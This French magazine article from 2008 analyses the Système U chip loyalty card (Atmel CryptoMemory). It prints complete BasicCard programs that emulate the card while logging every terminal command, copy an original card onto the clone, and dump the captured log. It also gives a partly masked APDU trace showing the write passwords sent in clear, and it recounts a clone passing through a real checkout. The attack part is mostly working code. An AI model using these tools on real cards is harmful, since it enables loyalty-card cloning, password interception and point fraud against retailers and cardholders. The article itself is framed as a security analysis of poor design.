Comment nous avons perdu 230 euros chez CJ Affiliate (Conversant)

vers Virus Info


[accueil]  [menu]  [suivez-nous !]  [chercher]


2008-06-10 00:00

A la découverte des secrets des cartes de fidélité à puce


La plupart des grandes enseignes commerciales ont développé leurs propres cartes de fidélité, mais les technologies mises en oeuvre sont extrêmement diverses. Percer les mystères des versions à puce n'est pas forcément bien difficile, et toujours riche d'enseignements, grâce à la carte à puce caméléon que nous vous avons proposé de réaliser.

Bien que la grande distribution ne jouisse aucunement du privilège de « battre monnaie » (les banques centrales veillant soigneusement au grain !), certaines cartes de fidélité permettent bel et bien de régler des empelettes, soit directement, soit par le truchement de bons d'achat. En Grande-Bretagne, pays pionnier des programmes de fidélisation, l'anonymat et le manque de sécurisation des premiers systèmes ont immanquablement engendré d'énormes fraudes, depuis longtemps enrayées. Limiter les avantages à la délivrance de cadeaux de peu de valeur n'étant qu'un pis-aller guère motivant pour le client, il a bien fallu perfectionner les techniques employées. A l'heure actuelle, deux grands principes sont en concurrence : la carte « porte-points » (généralement nominative) et la simple carte d'identification, dont le compte de points réside dans un serveur centralisé.
Moins exposée au piratage, pouvant être émise sur-le-champ, et facilitant la gestion des vols ou pertes de cartes, la seconde solution présente toutefois des inconvénients, à commencer par des délais de prise en compte des points, surtout en cas de nomadisme entre plusieurs magasins. Souvent basée sur un code-barres très peu coûteux à produire (Intermarché, Champion, etc.), elle offre en revanche l'avantage de ne pas nécessiter d'autre lecteur que le scanner d'articles dont sont équipées toutes les caisses. Les solutions à piste magnétique (bien implantées dans les stations-service) semblent ainsi devoir perdre du terrain pour cause de migration des cartes bancaires vers la puce EMV. Si une carte à code-barres peut être aisément « clonée » par photocopie, si une carte magnétique peut facilement être copiée ou même réécrite avec les « moyens du bord » (voir notre ouvrage Cartes magnétiques et PC), une carte de fidélité à puce est bien plus intéressante à analyser...
Malgré les progrès constants de la technologie, certains émetteurs font pourtant marche arrière et abandonnent la puce. Le pétrolier Shell a ainsi renoncé, il y a déjà bien des années, à une belle application à base de GPM896 pour revenir à la piste magnétique, tandis que d'autres programmes « puce » continuent à tourner court. Leur coût sensiblement plus élevé est une explication possible, à moins que la sécurité ne se soit révélée moindre que ce qui était promis. Après tout, combien d'applications « carte » ont été développées par-dessus la jambe à partir de composants pourtant très sûrs ?

carte_fidelite_u

« Systeme U » et CryptoMemory
La carte U a toujours offert un bon terrain d'expérimentation, dans la mesure où cette dynamique enseigne change souvent son fusil d'épaule sur le plan technique. Ralliée très tôt à la puce (une carte synchrone genre ST1333, de la famille T2G), elle a ensuite migré vers la fort séduisante CryptoMemory d'Atmel (une carte asynchrone T=0 en logique câblée). En dépit d'une validité devenue « illimitée », ces dernières cartes font bizarrement l'objet, depuis le 9 juin dernier, d'une démarche « surprise » d'échange, en vue d'un retour à une technologie résolument centralisatrice. Des problèmes seraient-ils apparus ? Cela mérite d'y regarder de plus près, car il y a certainement des leçons édifiantes à en tirer...
Pas question d'avoir accès aux spécifications détaillées des composants CryptoMemory, Atmel ayant toujours pratiqué une politique de NDA (Non Disclosure Agreement) qui, à notre humble avis, excite la curiosité plus qu'elle ne la décourage. Qu'à cela ne tienne, ce n'est pas à un vieux singe que l'on apprend à faire des grimaces : recoupons méthodiquement quelques informations publiques avec des observations « terrain », et le tour est joué !
La réponse au reset de la carte U (3B B2 11 00 10 80 00 02) étant tout bonnement l'ATR par défaut du composant AT88SC0204C, on peut en déduire (car c'est fait pour cela !) que nous sommes en présence d'une mémoire de 2 Kbits, organisée en 4 zones de 64 octets. Bien que cette carte soit dépourvue de système d'exploitation (ce qui la rend particulièrement économique), elle est conçue, tout comme la GemClub Memo de Gemplus, pour pouvoir dialoguer en protocole T=0, et donc avec n'importe quel lecteur PC/SC. Compte tenu de la grande simplicité du jeu de commandes qu'elle supporte, comment résister à la tentation de l'émuler avec une BasicCard ?
En théorie, cette possibilité ne remet pas en cause sa sécurité, réputée se situer à mi-chemin entre celle des cartes à mémoire (synchrones) et celle des cartes à microprocesseur (asynchrones). En pratique, tout dépend du niveau de sûreté choisi par le développeur de l'application, parmi les quatre dont dispose, en standard, la CryptoMemory : lecture et écriture libres, mot de passe en écriture, mot de passe en écriture et en lecture, authentification dynamique. Dans le cas particulier qui nous intéresse, nous allons découvrir que la sécurité de la carte est fixée au niveau 2 (et donc plutôt facile à déjouer) mais qu'une couche cryptographique propriétaire semble venir la renforcer. Un compromis assez discutable, en fin de compte, qui cloisonne certes les secrets mais ouvre une voie de pénétration tout simplement royale. Première imprudence : c'est le client qui introduit sa carte dans le lecteur et non pas la caissière, facilitant l'usage relativement discret de notre puissante technique BasicSpy. Seconde négligence : l'ATR n'est vraisemblablement pas contrôlée, ne fût-ce qu'au niveau de ses deux caractères historiques, puisque le lecteur commence par enchaîner (à tort !) les commandes suivantes :

00 A4 04 00 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31
00 A4 04 00 07 A0 00 00 00 03 10 10
00 A4 04 00 07 A0 00 00 00 03 20 10
00 A4 04 00 07 A0 00 00 00 04 10 10
00 A4 04 00 07 A0 00 00 00 04 30 60
00 A4 04 00 07 A0 00 00 00 42 10 10
00 A4 04 00 07 A0 00 00 00 42 20 10

Chacun aura reconnu là une suite de tentatives de sélection des différentes applications EMV que pourrait supporter une carte bancaire, française ou étrangère, auxquelles une CryptoMemory (ou une BasicCard bien élevée) répondrait évidemment par SW1 SW2 = 6D 00. Brûlons les deux ou trois étapes intermédiaires qui ont été nécessaires pour mettre au point notre « arme secrète », et programmons son code-source CRYPMEM.BAS dans une quelconque ZC 4.x ou ZC 5.x afin d'émuler une AT88SC0204C, exception faite bien sûr de toute fonctionnalité sécuritaire.

REM CrypMem (c)2002,2008 Patrick GUEULLE

Declare Binary ATR=&H3B,&HB2,&H11,&H00,&H10,&H80, _
&H00,&H02, _
&H01

Private S$ As String
Public Z As Byte=&H00
Public SPY As Byte=1
EEPROM D$=String$(254,&HFF)
EEPROM ZA$=String$(64,&HFF)
EEPROM ZB$=String$(64,&HFF)
EEPROM ZC$=String$(64,&HFF)
EEPROM ZD$=String$(64,&HFF)

Open "Card.Log" For Append As #1
If Spy=1 Then Write#1,""

Command &HC8 &H04 COPY(Lc=0,S$)
Z$="(c)2001 Patrick GUEULLE"
S$=MID$(Z$,P1P2+1,Le)
End Command

Command &HC8 &HA2 FLUSH(S$,Disable Le)
Close
Kill "Card.log" : S$=CHR$(FileError)
End Command

Command &HC8 &HA0 SPYONOFF(S$,Disable Le)
SPY=P2
End Command

Command &HC2 &HBA VERIF(S$,Disable Le)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+CHR$(Lc)+S$
If Spy=1 Then Write#1,C$
S$=""
End Command

Command &HC2 &HB4 SYSWR(S$,Disable Le)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+CHR$(Lc)+S$
If Spy=1 Then Write#1,C$
If P1=&H00 Then Mid$(D$,P2+1,Lc)=S$
If P1=&H0B Then Z=P2
S$=""
End Command

Command &HC2 &HB6 RDFUS(Lc=0,S$)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+Chr$(Le)
If Spy=1 Then Write#1,C$
If P1=&H00 Then S$=Mid$(D$,P2+1,Le)
If P1P2=&H0100 Then S$=Chr$(&H10)
End Command

Command &HC2 &HB2 RDUS(Lc=0,S$)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+Chr$(Le)
If Spy=1 Then Write#1,C$
If Le=0 Then S$=""
If Z=0 Then S$=Mid$(ZA$,P2+1,Le)
If Z=1 Then S$=Mid$(ZB$,P2+1,Le)
If Z=2 Then S$=Mid$(ZC$,P2+1,Le)
If Z=3 Then S$=Mid$(ZD$,P2+1,Le)
End Command

Command &HC2 &HB0 USERWR(S$,Disable Le)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+CHR$(Lc)+S$
If Spy=1 Then Write#1,C$
If Z=0 Then Mid$(ZA$,P2+1,Lc)=S$
If Z=1 Then Mid$(ZB$,P2+1,Lc)=S$
If Z=2 Then Mid$(ZC$,P2+1,Lc)=S$
If Z=3 Then Mid$(ZD$,P2+1,Lc)=S$
S$=""
End Command

Command &H00 &HA4 SEL(S$,Disable Le)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+CHR$(Lc)+S$
If Spy=1 Then Write#1,C$
S$=""
SW1SW2=&H6D00
End Command

Command Else NOTOUT(Lc=0,S$)
C$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)+Chr$(Le)
If Spy=1 Then Write#1,C$
If Le=0 Then S$=""
If Le>0 Then S$=String$(Le,&HAB)
End Command



Cloner la CryptoMemory
Comme d'habitude (carte Vitale, carte France Telecom, etc.), le jeu va donc maintenant consister à recopier, dans cette carte à lecture et écriture libres, des données lues dans une carte à lecture libre et à écriture protégée. Même si cela « dérange », ce n'est pas plus critiquable que de photocopier une carte de fidélité à code-barres ! Elle aussi écrite en ZCBasic, l'application « terminal » COPCM.BAS peut être compilée (avec le kit logiciel téléchargeable gratuitement) en un exécutable compatible avec n'importe quel lecteur PC/SC convenablement installé sous Windows 32 bits. Son rôle est tout simplement de copier une carte originale dans notre « clone » (et en aucun cas l'inverse !), ce dernier étant pour sa part équipé de la fonctionnalité BasicSpy permettant de prendre connaissance de toutes les commandes issues du terminal !

REM COPCM (c)2002,2008 Patrick GUEULLE

#Include CARDUTIL.DEF
#Include COMMERR.DEF
ComPort=101

Public T$(64) As String*8
Declare Command &HC2 &HB6 RDC(Lc=0,S$)
Declare Command &HC2 &HB2 RDU(Lc=0,S$)
Declare Command &HC2 &HB4 WRC(S$,Disable Le)
Declare Command &HC2 &HB0 WRU(S$,Disable Le)
Declare Command &HC8 &HA2 FLUSH(S$,Disable Le)

Call WaitForCard
ResetCard:Call CheckSW1SW2:Print

C=0:D=0
For F=1 to 32
Call RDC(P1=0,P2=C,S$,Le=8)
T$(D)=S$
C=C+8:D=D+1
S$="":Print".";
Next F

Call WRC(P1P2=&H0B00,Lc=0,S$)
C=0
For F=1 to 8
Call RDU(P1=0,P2=C,S$,Le=8)
T$(D)=S$
C=C+8:D=D+1
S$="":Print".";
Next F

Call WRC(P1P2=&H0B01,Lc=0,S$)
C=0
For F=1 to 8
Call RDU(P1=0,P2=C,S$,Le=8)
T$(D)=S$
C=C+8:D=D+1
S$="":Print".";
Next F

Call WRC(P1P2=&H0B02,Lc=0,S$)
C=0
For F=1 to 8
Call RDU(P1=0,P2=C,S$,Le=8)
T$(D)=S$
C=C+8:D=D+1
S$="":Print".";
Next F

Call WRC(P1P2=&H0B03,Lc=0,S$)
C=0
For F=1 to 8
Call RDU(P1=0,P2=C,S$,Le=8)
T$(D)=S$
C=C+8:D=D+1
S$="":Print".";
Next F

Print:Print
Call WaitForNocard

Call WaitForCard
ResetCard:Call CheckSW1SW2:Print

C=0:D=0
For F=1 to 32
S$=T$(D)
Call WRC(P1=0,P2=C,S$)
C=C+8:D=D+1:Print".";
Next F

Call WRC(P1P2=&H0B00,Lc=0,S$)
C=0
For F=1 to 8
S$=T$(D)
Call WRU(P1=0,P2=C,S$)
C=C+8:D=D+1:Print".";
Next F


Call WRC(P1P2=&H0B01,Lc=0,S$)
C=0
For F=1 to 8
S$=T$(D)
Call WRU(P1=0,P2=C,S$)
C=C+8:D=D+1:Print".";
Next F

Call WRC(P1P2=&H0B02,Lc=0,S$)
C=0
For F=1 to 8
S$=T$(D)
Call WRU(P1=0,P2=C,S$)
C=C+8:D=D+1:Print".";
Next F

Call WRC(P1P2=&H0B03,Lc=0,S$)
C=0
For F=1 to 8
S$=T$(D)
Call WRU(P1=0,P2=C,S$)
C=C+8:D=D+1:Print".";
Next F

S$="":Call FLUSH(S$)
Print:Print
Call WaitForNocard

Passons à la caisse
Intéressons-nous de préférence à une carte « provisoire », autrement dit anonyme, remise par le magasin dans l'attente de la réception (à domicile) de la carte nominative, et que l'on était censé restituer en échange d'un beau cabas et d'un généreux bonus de quelques points. Et là, bingo : la copie passant en caisse « comme une lettre à la poste », le fichier card.log récupéré grâce à notre utilitaire BSPYUTIL.BAS (ci-dessous) est riche d'enseignements !

#Include CARDUTIL.DEF
#Include COMMERR.DEF
ComPort=101

Declare Command &HC8 &HA0 SPY()
Declare Command &HC8 &HA2 FLUSH()

Declare Sub SpyON()
Declare Sub SpyOFF()
Declare Sub FlushBS()
Declare Sub ReadSpy()

CLS:PRINT"Utilitaires BasicSPY Copyright (c)2001,2008 Patrick GUEULLE":PRINT
Call WaitForCard
ResetCard:Call CheckSW1SW2:PRINT

menu:PRINT
PRINT:PRINT"1 --> Transfert fichier interne"
PRINT:PRINT"2 --> Activation mode espion"
PRINT:PRINT"3 --> Desactivation mode espion"
PRINT:PRINT"4 --> Vidage du fichier interne"
PRINT:PRINT"0 --> Quitter"
PRINT:PRINT"Votre choix, puis ENTER"

LINE INPUT X$:PRINT:PRINT
ResetCard:Call CheckSW1SW2()
IF X$="1" THEN Call ReadSpy()
IF X$="2" THEN Call SpyON()
IF X$="3" THEN Call SpyOFF()
IF X$="4" THEN Call FlushBS()
IF X$="0" OR X$="" THEN EXIT
GOTO menu

Sub SpyON()
Call SPY(P1P2=&H0001):Call CheckSW1SW2
IF SW1SW2=&H9000 THEN CLS:PRINT "Mode espion actif !"
End Sub

Sub SpyOFF()
Call SPY(P1P2=&H0000):Call CheckSW1SW2
IF SW1SW2=&H9000 THEN CLS:PRINT "Mode espion inactif !"
End Sub

Sub FlushBS()
Call FLUSH():Call CheckSW1SW2
IF SW1SW2=&H9000 THEN CLS:PRINT "Fichier interne vide !"
End Sub

Sub ReadSpy()
Open"@:card.log" For Input As #1
Open"card.log" For Output As #2
While Not EOF(1)
Input#1, Z$
For F=1 To LEN(Z$)
Z=ASC(MID$(Z$,F,1))
Y$=Hex$(Z)+" "
If Len(Y$)=2 THEN Y$="0"+Y$
Print Y$;:Print#2,Y$;
Next F:Print:Print#2
Wend
Print:Print"---- Fin de fichier ----"
Close
End Sub

Bien entendu, la séquence de commandes ou script qu'il contient a vocation à être appliquée, en différé, à la carte originale pour rétablir sa stricte « synchronisation » avec la copie. Cela évitera soigneusement tout risque de problèmes ultérieurs (perte de points, soupçons de falsification, etc.).

C2 B6 01 00 01
C2 B4 00 0A 02 00 00
C2 B6 00 0A 02
C2 B6 00 19 05
C2 B6 00 40 10
C2 B6 00 B0 01
C2 B6 00 B8 01
C2 B4 0B 00 00
C2 B2 00 00 40
C2 B4 0B 01 00
C2 B2 00 00 40
C2 B6 00 19 05
C2 B4 0B 01 00
C2 BA 01 00 03 5* A8 *9
C2 B0 00 00 08 E2 B3 *F 83 2D *0 59 80
C2 B0 00 08 08 00 02 FF F1 FF FF FF 00
C2 B0 00 10 08 FF FF FF FF FF FF FF FF
C2 B0 00 18 08 FF FF FF FF FF FF FF FF
C2 B0 00 20 08 FF FF FF FF FF FF FF FF
C2 B0 00 28 08 FF FF FF FF FF FF FF FF
C2 B0 00 30 08 FF FF FF FF FF FF FF FF
C2 B0 00 38 08 FF FF FF FF FF FF FF FF
C2 B4 0B 01 00
C2 B2 00 00 40
C2 B4 0B 00 00
C2 BA 00 00 03 2* 23 *4
C2 B0 00 00 08 92 D1 *0 C5 F8 *D 6A BC
C2 B0 00 08 08 00 04 FF F0 FF FF FF 00
C2 B4 0B 00 00
C2 B2 00 00 40
C2 B4 0B 01 00
C2 BA 01 00 03 5* A8 *9
C2 B0 00 08 08 00 00 FF F0 FF FF FF 00
C2 B2 00 08 08

Petite bizarrerie, l'écriture (C2 B4 00 0A 02 00 00) de deux octets 00 00 à l'adresse 00 0A, suivie de leur relecture (C2 B6 00 0A 02). Initialisé à FF FF sur les cartes neuves, ce mot est à écriture totalement libre, mais comme l'application ne prend pas la peine de lire son état initial, l'intérêt de la manoeuvre nous échappe. Faisons nous aussi l'impasse sur la lecture (à partir de l'adresse 00 20) des registres précisant des options de sécurité que nous allons de toute façon deviner par nos propres moyens, et intéressons nous à la lecture des données d'identification :
C2 B6 00 19 05 renvoie 02 05 F5 E4 84 sur toutes les cartes provisoires (c'est l'identifiant de la carte).
C2 B6 00 40 10 renvoie 29 C6 E9 05 FB B4 49 B2 17 10 61 A8 01 01 50 02 sur toutes les cartes provisoires, qui sont par conséquent banalisées et donc bel et bien anonymes.
Dans cet identifiant « émetteur », les trois octets soulignés indiqueraient la date de naissance (en format JJ MM AA à l'adresse 00 4C) du porteur d'une carte définitive, une information résolument personnelle dont on se demande bien l'usage qui peut en être fait (bonus de points accordé le jour J, ou alors promotions ciblées ?).Les données lues jusqu'à présent résidaient dans la « zone de configuration » immédiatement lisible, mais pour accéder à l'une ou l'autre des quatre « zones utilisateur », une commande de sélection est nécessaire.
C2 B4 0B 00 00 sélectionnera ainsi la zone 0 (la première), C2 B4 0B 01 00 la zone 1 (la seconde) et ainsi de suite. Pour lire intégralement la zone sélectionnée, on enverra la commande C2 B2 00 00 40 (lecture de 40h octets, autrement dit 64 en décimal). Si d'aventure on cherchait à lire des adresses supérieures à la borne haute d'une zone utilisateur (et donc physiquement inexistantes), on ferait le tour du compteur en reprenant au début, petit bogue matériel sans conséquences qui trahit toutefois l'emploi d'une technologie à logique câblée.

Un mot de passe en clair !
Ecrire dans ces zones nécessite la présentation d'un password de 3 octets, avec blocage définitif de la carte après seulement quatre tentatives erronées. La belle affaire, puisque ces mots de passe sont transmis en clair, et que BasicSpy, fonctionnant un peu comme une « Yescard », se fera un plaisir de les accepter... en les interceptant ! Secret de Polichinelle, en somme, qui aurait sans doute été mieux protégé par une carte synchrone, plus difficile à émuler discrètement. Le succès de ce petit exercice de style ne remet nullement en cause, c'est évident, la sécurité intrinsèque de la CryptoMemory, dont on a ici sciemment dédaigné les possibilités d'authentification dynamique qui font tout son intérêt. Mais nous allons voir qu'une seconde serrure (plus résistante ?), renforce ce premier verrou si facile à ouvrir !
Le bon code étant supposé présenté (par une commande C2 BA 00 00 03 XX YY ZZ pour la zone 0 ou C2 BA 01 00 03 XX YY ZZ pour la zone 1), on peut écrire en toute liberté, mais surtout pas les 64 octets d'un seul coup : des blocs de 8 octets, par exemple. C'est là que l'on commencera à entrevoir le fonctionnement intime, finalement assez élaboré, de l'application « fidélité ».
Il semblerait que la zone 0 contienne la situation présente du compte de points (ici 00 02), que l'on va sauvegarder dans la zone 1 avant d'y ajouter les points nouvellement acquis (ici 2). Une fois le résultat de cette totalisation (ici 4) vérifié avec succès (C2 B4 0B 00 00 puis C2 B2 00 00 40), on remet à zéro ce backup vraisemblablement destiné à éviter toute perte de points en cas de retrait prématuré de la carte par le client. L'important, c'est que les deux octets du compteur de points (lisible en clair à l'adresse 00 08) sont accompagnés de ce qui ressemble très fort à un certificat cryptographique, probablement daté. Mais comme les points d'une carte perdue ou volée ne peuvent pas être récupérés, il est vraisemblable que la portée de cette certification soit purement locale, et qu'aucune information autre que statistique n'ait jamais été collectée de façon centralisée. Un choix quelque peu risqué...
A noter aussi une valeur qui se trouve plus ou moins décrémentée lors de chaque passage en caisse. Cela rappelle les anciennes cartes U à technologie T2G, dont le compteur d'unités ne servait qu'à cela et dont la zone utilisateur (déjà cryptée mais à écriture libre !) était bien moins étendue. Il semblerait logique que sa valeur intervienne dans le calcul du certificat proprement dit. Les conditions sont donc apparemment réunies pour qu'une modification frauduleuse ou accidentelle du solde de points soit immédiatement détectée, voire corrigée, mais sait-on jamais ?
De même, les mots de passe n'étant identiques qu'entre les cartes provisoires, il est permis de supposer qu'ils sont déduits, tout comme le numéro de carte (ici 0000090001) imprimé sur le ticket, des identifiants au moyen d'un algorithme (cryptographique ?) pas forcément bien compliqué. Quant à la zone utilisateur n° 2, tout donne à penser qu'elle pourrait servir à garder une trace des retraits de points, suite à la délivrance de cadeaux. Elle est évidemment protégée en écriture par un troisième mot de passe, qu'il serait cette fois bien plus délicat de découvrir à la hussarde.
Patrick Gueulle pour Pirates Mag'

Tous les ouvrages de l'auteur




Vous voulez soutenir une information indépendante ? Rejoignez notre Club privé !


[homepage]  [RSS]  [archives]
[contact & legal & cookies]  [since 1997]